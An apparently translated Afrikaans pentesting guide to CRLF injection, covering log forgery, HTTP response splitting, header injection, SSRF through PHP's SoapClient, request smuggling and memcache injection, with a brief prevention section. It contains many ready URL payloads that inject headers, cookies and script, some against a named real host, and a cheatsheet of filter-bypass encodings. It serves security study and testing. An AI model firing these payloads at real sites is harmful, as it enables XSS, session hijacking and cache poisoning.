CRLF (%0D%0A) Inspuiting

Reading time: 11 minutes

CRLF

Carriage Return (CR) en Line Feed (LF), saam bekend as CRLF, is spesiale karakterreekse wat in die HTTP-protokol gebruik word om die einde van 'n lyn of die begin van 'n nuwe een aan te dui. Webbedieners en blaaiers gebruik CRLF om te onderskei tussen HTTP-koptekste en die liggaam van 'n antwoord. Hierdie karakters word universeel in HTTP/1.1 kommunikasie oor verskeie webbedienertipes, soos Apache en Microsoft IIS, gebruik.

CRLF Inspuiting Kw vulnerability

CRLF inspuiting behels die invoeging van CR en LF karakters in gebruiker-gelewer insette. Hierdie aksie mislei die bediener, toepassing of gebruiker om die ingevoegde reeks as die einde van een antwoord en die begin van 'n ander te interpreteer. Terwyl hierdie karakters nie van nature skadelik is nie, kan hulle misbruik lei tot HTTP antwoord splitsing en ander kwaadwillige aktiwiteite.

Voorbeeld: CRLF Inspuiting in 'n Loglêer

Voorbeeld van hier

Oorweeg 'n loglêer in 'n adminpaneel wat die formaat volg: IP - Tyd - Gvisited Pad. 'n Tipiese inskrywing kan soos volg lyk:

123.123.123.123 - 08:15 - /index.php?page=home

'n Aanvaller kan 'n CRLF-inspuiting benut om hierdie log te manipuleer. Deur CRLF-karakters in die HTTP-versoek in te spuit, kan die aanvaller die uitvoerstroom verander en loginskrywings vervals. Byvoorbeeld, 'n ingespuite reeks kan die loginskrywing in die volgende verander:

/index.php?page=home&%0d%0a127.0.0.1 - 08:15 - /index.php?page=home&restrictedaction=edit

Hier, %0d en %0a verteenwoordig die URL-gecodeerde vorms van CR en LF. Na die aanval sal die log misleidend vertoon:

IP - Time - Visited Path

123.123.123.123 - 08:15 - /index.php?page=home&
127.0.0.1 - 08:15 - /index.php?page=home&restrictedaction=edit

Die aanvaller verberg dus hul kwaadwillige aktiwiteite deur dit te laat lyk asof die localhost (n entiteit wat tipies vertrou word binne die bedieneromgewing) die aksies uitgevoer het. Die bediener interpreteer die deel van die navraag wat met %0d%0a begin as 'n enkele parameter, terwyl die restrictedaction parameter as 'n ander, aparte invoer geparseer word. Die gemanipuleerde navraag imiteer effektief 'n wettige administratiewe opdrag: /index.php?page=home&restrictedaction=edit

HTTP Response Splitting

Beskrywing

HTTP Response Splitting is 'n sekuriteitskwesbaarheid wat ontstaan wanneer 'n aanvaller die struktuur van HTTP-antwoorde benut. Hierdie struktuur skei kopstukke van die liggaam deur 'n spesifieke karaktervolgorde, Carriage Return (CR) gevolg deur Line Feed (LF), wat saam as CRLF bekend staan. As 'n aanvaller daarin slaag om 'n CRLF-volgorde in 'n antwoordkopstuk in te voeg, kan hulle effektief die daaropvolgende antwoordinhoud manipuleer. Hierdie tipe manipulasie kan lei tot ernstige sekuriteitsprobleme, veral Cross-site Scripting (XSS).

XSS deur HTTP Response Splitting

1. Die aansoek stel 'n pasgemaakte kopstuk soos volg in: X-Custom-Header: UserInput
2. Die aansoek haal die waarde vir UserInput uit 'n navraagparameter, sê "user_input". In scenario's waar daar nie behoorlike invoervalidasie en kodering is nie, kan 'n aanvaller 'n payload saamstel wat die CRLF-volgorde insluit, gevolg deur kwaadwillige inhoud.
3. 'n Aanvaller stel 'n URL saam met 'n spesiaal saamgestelde 'user_input': ?user_input=Value%0d%0a%0d%0a<script>alert('XSS')</script>

• In hierdie URL is %0d%0a%0d%0a die URL-gecodeerde vorm van CRLFCRLF. Dit mislei die bediener om 'n CRLF-volgorde in te voeg, wat die bediener dwing om die daaropvolgende deel as die antwoordliggaam te behandel.

4. Die bediener reflekteer die aanvaller se invoer in die antwoordkopstuk, wat lei tot 'n onbedoelde antwoordstruktuur waar die kwaadwillige skrip deur die blaaier as deel van die antwoordliggaam geïnterpreteer word.

'n Voorbeeld van HTTP Response Splitting wat tot Oorplasing lei

Van https://medium.com/bugbountywriteup/bugbounty-exploiting-crlf-injection-can-lands-into-a-nice-bounty-159525a9cb62

Blaaier na:

/%0d%0aLocation:%20http://myweb.com

En die bediener antwoord met die kop:

Location: http://myweb.com

Ander voorbeeld: (van https://www.acunetix.com/websitesecurity/crlf-injection/)

http://www.example.com/somepage.php?page=%0d%0aContent-Length:%200%0d%0a%0d%0aHTTP/1.1%20200%20OK%0d%0aContent-Type:%20text/html%0d%0aContent-Length:%2025%0d%0a%0d%0a%3Cscript%3Ealert(1)%3C/script%3E

In URL Pad

Jy kan die payload binne die URL pad stuur om die antwoord van die bediener te beheer (voorbeeld van hier):

http://stagecafrstore.starbucks.com/%3f%0d%0aLocation:%0d%0aContent-Type:text/html%0d%0aX-XSS-Protection%3a0%0d%0a%0d%0a%3Cscript%3Ealert%28document.domain%29%3C/script%3E
http://stagecafrstore.starbucks.com/%3f%0D%0ALocation://x:1%0D%0AContent-Type:text/html%0D%0AX-XSS-Protection%3a0%0D%0A%0D%0A%3Cscript%3Ealert(document.domain)%3C/script%3E

Check meer voorbeelde in:

bugbounty-cheatsheet/cheatsheets/crlf.md at master \xc2\xb7 EdOverflow/bugbounty-cheatsheet \xc2\xb7 GitHub

HTTP Header Injection

HTTP Header Injection, wat dikwels deur CRLF (Carriage Return en Line Feed) inspuiting uitgebuit word, stel aanvallers in staat om HTTP-koptekste in te voeg. Dit kan sekuriteitsmeganismes soos XSS (Cross-Site Scripting) filters of die SOP (Same-Origin Policy) ondermyn, wat moontlik kan lei tot ongemagtigde toegang tot sensitiewe data, soos CSRF tokens, of die manipulasie van gebruikersessies deur koekie-plasing.

Exploiting CORS via HTTP Header Injection

'n Aanvaller kan HTTP-koptekste inspuit om CORS (Cross-Origin Resource Sharing) te aktiveer, wat die beperkings wat deur SOP opgelê word, omseil. Hierdie oortreding stel skripte van kwaadwillige oorspronge in staat om met hulpbronne van 'n ander oorsprong te kommunikeer, wat moontlik toegang tot beskermde data bied.

SSRF en HTTP Request Injection via CRLF

CRLF-inspuiting kan gebruik word om 'n heeltemal nuwe HTTP-versoek te skep en in te spuit. 'n Opmerklike voorbeeld hiervan is die kwesbaarheid in PHP se SoapClient klas, spesifiek binne die user_agent parameter. Deur hierdie parameter te manipuleer, kan 'n aanvaller addisionele koptekste en liggaamsinhoud invoeg, of selfs 'n nuwe HTTP-versoek heeltemal inspuit. Hieronder is 'n PHP voorbeeld wat hierdie uitbuiting demonstreer:

$target = 'http://127.0.0.1:9090/test';
$post_string = 'variable=post value';
$crlf = array(
'POST /proxy HTTP/1.1',
'Host: local.host.htb',
'Cookie: PHPSESSID=[PHPSESSID]',
'Content-Type: application/x-www-form-urlencoded',
'Content-Length: '.(string)strlen($post_string),
"\r\n",
$post_string
);

$client = new SoapClient(null,
array(
'uri'=>$target,
'location'=>$target,
'user_agent'=>"IGN\r\n\r\n".join("\r\n",$crlf)
)
);

# Put a netcat listener on port 9090
$client->__soapCall("test", []);

Header Injection om Versoek Smuggling

Vir meer inligting oor hierdie tegniek en potensiële probleme kyk die oorspronklike bron.

Jy kan noodsaaklike headers inspuit om te verseker dat die agterkant die verbinding oop hou nadat daar op die aanvanklike versoek geantwoord is:

GET /%20HTTP/1.1%0d%0aHost:%20redacted.net%0d%0aConnection:%20keep-alive%0d%0a%0d%0a HTTP/1.1

Na afloop kan 'n tweede versoek gespesifiseer word. Hierdie scenario behels tipies HTTP request smuggling, 'n tegniek waar ekstra koptekste of liggaams elemente wat deur die bediener na inspuiting bygevoeg word, kan lei tot verskeie sekuriteitsuitbuitings.

Uitbuiting:

1. Kwaadwillige Vooraf-inspuiting: Hierdie metode behels die vergiftiging van die volgende gebruiker se versoek of 'n webkas deur 'n kwaadwillige vooraf te spesifiseer. 'n Voorbeeld hiervan is:

GET /%20HTTP/1.1%0d%0aHost:%20redacted.net%0d%0aConnection:%20keep-alive%0d%0a%0d%0aGET%20/redirplz%20HTTP/1.1%0d%0aHost:%20oastify.com%0d%0a%0d%0aContent-Length:%2050%0d%0a%0d%0a HTTP/1.1

2. Skep 'n Vooraf vir Antwoord Queuing Vergiftiging: Hierdie benadering behels die skep van 'n vooraf wat, wanneer dit saam met agtereenvolgende rommel gekombineer word, 'n volledige tweede versoek vorm. Dit kan die vergiftiging van die antwoordqueue ontketen. 'n Voorbeeld is:

GET /%20HTTP/1.1%0d%0aHost:%20redacted.net%0d%0aConnection:%20keep-alive%0d%0a%0d%0aGET%20/%20HTTP/1.1%0d%0aFoo:%20bar HTTP/1.1

Memcache Inspuiting

Memcache is 'n sleutel-waarde stoor wat 'n duidelike teksprotokol gebruik. Meer inligting in:

11211 - Pentesting Memcache

Vir die volledige inligting lees die oorspronklike skrywe

As 'n platform data uit 'n HTTP versoek neem en dit gebruik sonder om dit te saniteer om versoeke na 'n memcache bediener te doen, kan 'n aanvaller hierdie gedrag misbruik om nuwe memcache opdragte in te spuit.

Byvoorbeeld, in die oorspronklik ontdekte kwesbaarheid, is kas sleutels gebruik om die IP en poort wat 'n gebruiker moet verbind, terug te gee, en aanvallers was in staat om memcache opdragte in te spuit wat die kas sou vergiftig om die besoekers se besonderhede (gebruikersname en wagwoorde ingesluit) na die aanvaller se bedieners te stuur:

Boonop het navorsers ook ontdek dat hulle die memcache antwoorde kon desinkroniseer om die aanvallers se IP en poorte na gebruikers te stuur wie se e-pos die aanvaller nie geken het nie:

Hoe om CRLF / HTTP Koptekst Inspuitings in Webtoepassings te Voorkom

Om die risiko's van CRLF (Carriage Return and Line Feed) of HTTP Koptekst Inspuitings in webtoepassings te verminder, word die volgende strategieë aanbeveel:

1. Vermy Direkte Gebruiker Invoer in Antwoord Koptekste: Die veiligste benadering is om te weerhou van die insluiting van gebruiker-gelewer invoer direk in antwoord koptekste.
2. Kodeer Spesiale Karakters: As dit nie haalbaar is om direkte gebruiker invoer te vermy nie, verseker om 'n funksie te gebruik wat toegewy is aan die kodeering van spesiale karakters soos CR (Carriage Return) en LF (Line Feed). Hierdie praktyk voorkom die moontlikheid van CRLF inspuiting.
3. Opdateer Programmeertaal: Opdateer gereeld die programmeertaal wat in jou webtoepassings gebruik word na die nuutste weergawe. Kies 'n weergawe wat inherent die inspuiting van CR en LF karakters binne funksies wat verantwoordelik is vir die instelling van HTTP koptekste verbied.

CHEATSHEET

Cheatsheet from here

1. HTTP Response Splitting
• /%0D%0ASet-Cookie:mycookie=myvalue (Check if the response is setting this cookie)

2. CRLF chained with Open Redirect
• //www.google.com/%2F%2E%2E%0D%0AHeader-Test:test2
• /www.google.com/%2E%2E%2F%0D%0AHeader-Test:test2
• /google.com/%2F..%0D%0AHeader-Test:test2
• /%0d%0aLocation:%20http://example.com

3. CRLF Injection to XSS
• /%0d%0aContent-Length:35%0d%0aX-XSS-Protection:0%0d%0a%0d%0a23
• /%3f%0d%0aLocation:%0d%0aContent-Type:text/html%0d%0aX-XSS-Protection%3a0%0d%0a%0d%0a%3Cscript%3Ealert%28document.domain%29%3C/script%3E

4. Filter Bypass
• %E5%98%8A = %0A = \u560a
• %E5%98%8D = %0D = \u560d
• %E5%98%BE = %3E = \u563e (>)
• %E5%98%BC = %3C = \u563c (<)
• Payload = %E5%98%8A%E5%98%8DSet-Cookie:%20test

Outomatiese Gereedskap

• https://github.com/Raghavd3v/CRLFsuite
• https://github.com/dwisiswant0/crlfuzz

Brute-Force Opsporing Lys

• https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/crlf.txt

Verwysings

• https://www.invicti.com/blog/web-security/crlf-http-header/
• https://www.acunetix.com/websitesecurity/crlf-injection/
• https://portswigger.net/research/making-http-header-injection-critical-via-response-queue-poisoning
• https://www.netsparker.com/blog/web-security/crlf-http-header/